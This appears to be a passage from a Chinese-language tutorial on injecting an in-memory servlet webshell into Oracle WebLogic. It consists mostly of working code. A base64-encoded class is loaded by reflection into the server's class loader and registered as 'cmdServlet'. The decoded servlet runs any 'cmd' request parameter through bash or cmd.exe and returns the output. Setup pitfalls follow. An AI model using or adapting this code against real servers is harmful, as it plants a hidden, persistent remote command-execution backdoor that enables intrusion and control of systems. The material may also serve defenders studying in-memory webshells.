String encode_class = "yv66vgAAADMAkAoAHwBJCAA6CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCABpCgBlAGoHAGsHAGwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADUxodHRwU2VydmxldDsBAAVkb0dldAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdpc0xpbnV4AQABWgEABW9zVHlwAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAJpbgEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAAXMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAGb3V0cHV0AQADb3V0AQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQADcmVxAQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAEcmVzcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANjbWQBAA1TdGFja01hcFRhYmxlBwBSBwAuBwBtBwBcBwBSBwBrBwBuBwBvAQAKRXhjZXB0aW9ucwcAcAcAcQEAClNvdXJjZUZpbGUBABBodHRwU2VydmxldC5qYXZhDAAgACEHAG4MAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAEYmFzaAEAAi1jAQAHY21kLmV4ZQEAAi9jBwB6DAB7AHwMAH0AfgcAfwwAgACBAQARamF2YS91dGlsL1NjYW5uZXIMACAAggEAA1xcYQwAgwCEDACFAIYMAIcAdwEAAAcAbwwAiACJBwCKDACLAIwMAI0AIQwAjgAhAQAHbm90aGluZwwAjwCMAQALaHR0cFNlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3NlAQAFd3JpdGUAIQAeAB8AAAAAAAIAAQAgACEAAQAiAAAALwABAAEAAAAFKrcAAbEAAAACACMAAAAGAAEAAAALACQAAAAMAAEAAAAFACUAJgAAAAQAJwAoAAIAIgAAAbwABAALAAAAsysSArkAAwIATi3GAJ0ENgQSBLgABToFGQXGABMZBbYABhIHtgAImQAGAzYEFQSZABgGvQAJWQMSClNZBBILU1kFLVOnABUGvQAJWQMSDFNZBBINU1kFLVM6BrgADhkGtgAPtgAQOge7ABFZGQe3ABISE7YAFDoIGQi2ABWZAAsZCLYAFqcABRIXOgksuQAYAQA6ChkKGQm2ABkZCrYAGhkKtgAbpwAOLLkAGAEAEhy2AB2xAAAAAwAjAAAARgARAAAADgAJAA8ADQAQABAAEQAXABIAKQATACwAFQBaABYAZwAXAHcAGACLABkAkwAaAJoAGwCfABwApAAdAKcAHgCyACAAJAAAAHAACwAQAJQAKQAqAAQAFwCNACsALAAFAFoASgAtAC4ABgBnAD0ALwAwAAcAdwAtADEAMgAIAIsAGQAzACwACQCTABEANAA1AAoAAACzACUAJgAAAAAAswA2ADcAAQAAALMAOAA5AAIACQCqADoALAADADsAAAA1AAf+ACwHADwBBwA8GVEHAD3+AC4HAD0HAD4HAD9BBwBA/wAdAAQHAEEHAEIHAEMHADwAAAoARAAAAAYAAgBFAEYAAQBHAAAAAgBI";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
Field loader = servletContext.getClass().getDeclaredField("classLoader");
loader.setAccessible(true);
ClassLoader ClassLoader0 = (ClassLoader) loader.get(servletContext);
Class servlet_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
Field classLoader = servletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 = (ClassLoader) classLoader.get(servletContext);
//获取cachedClasses
Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
//把cmdServlet的class存入cachedClasses中
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdServlet", servlet_class);
try {
Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);
ServletStubImplConstructor.setAccessible(true);
servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext);
} catch (Exception e) {
Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class, Map.class);
ServletStubImplConstructor.setAccessible(true);
servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext, null);
}
// 使用URLMathchHelper包装ServletStub
Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
URLMatchHelperConstructor.setAccessible(true);
Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);
// 添加到ServletMapping中,即代表注入servlet内存马成功
if (mappings.get(URI) == null) {
mappings.put(URI, umh);
response.getWriter().println("success");
}else{
response.getWriter().println("already exist");
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void destroy() {
}
}
Base64字符串加载的类
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;
public class httpServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = resp.getWriter();
out.println(output);
out.flush();
out.close();
}else {
resp.getWriter().write("nothing");
}
}
}
可能踩坑的地方
1、修改web.xml的头部
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee">
</web-app>
2、如果报错 Command line is too long. Shorten command line….
修改项目下 .idea\workspace.xml,找到标签3、Base64字符串加载的类由于JDK版本不同,在不同环境下可能无法执行,文中的base64字符串加载的类是JDK 1.7.080编译的。
4、注入的类名不能在同一个项目中测试,因为类加载不能加载相同名字的类